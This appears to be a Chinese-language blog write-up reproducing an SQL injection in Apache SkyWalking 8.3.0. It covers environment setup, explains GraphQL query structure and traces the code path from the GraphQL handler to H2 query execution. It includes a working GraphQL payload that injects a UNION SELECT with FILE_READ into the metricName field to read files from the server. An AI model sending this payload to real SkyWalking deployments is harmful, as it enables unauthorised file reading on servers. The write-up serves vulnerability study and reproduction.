0x00 漏洞簡介
看到先知各位師傅的復現文章了,借此機會復現學習一波graphql和h2數據庫相關的知識。
0x01 環境搭建
下載源碼進行編譯
https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
解壓后,進行編譯
./mvnw compile -Dmaven.test.skip=true
使用idea啟動進行調試,直接點擊OAPServerStartUp
切換到skywalking-ui啟動前台
npm run serve
0x02 漏洞利用
1、關於graphql
使用burpsuit或者graphiql執行graph語句進行利用,下圖為讀取文件
關於上圖中的graphql,詳情可看這篇graphql入門
//query
query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
logs{
content
}
}
}
//query variables
{
"condition":{
"metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/tmp/test.txt', NULL) where ?=1 or ?=1 or 1=1--",
"paging":{
"pageNum":1,
"pageSize":1
},
"state":"ALL",
"queryDuration":{
"start":"2021-02-07 1554",
"end":"2021-02-07 1554",
"step":"MINUTE"
}
}
}
(1)query可以理解為書查詢樹的根節點,其中queryLogs為調用的函數。
(2)queryLogs($condition: LogQueryCondition)的括號為插入一個condition變量,該變量的類型為LogQueryCondition,即傳入的數值必須得有這樣子的結構
(3)第二個queryLogs中的參數condition表示傳參字段,其內容為$condition,而$conditon內容被解析為query variables里邊的內容。
(4)logs和content表示,返回內容為logs中的content字段
2、代碼分析
從數據傳入的源頭開始分析,首先是doPost方法對post過來的數據進行處理
在doPost方法中調用了execute方法處理傳入的json數據
最終調用graphql處理方法執行該語句
poc中指向的查詢函數為LogQuery,即如下方法為其實現邏輯
src/main/java/org/apache/skywalking/oap/query/graphql/resolver/LogQuery.java
調用對應的queryLogs方法,最終進入dao方法中進行查詢
經過層層sql拼接
最終進入h2數據庫類的executequery進行語句執行
最終通過拼接sql,進入數據庫sql調用
而底層調用的是h2數據庫,所以我們可以根據h2特性進行后續的利用。詳情可看 我的另外一篇blog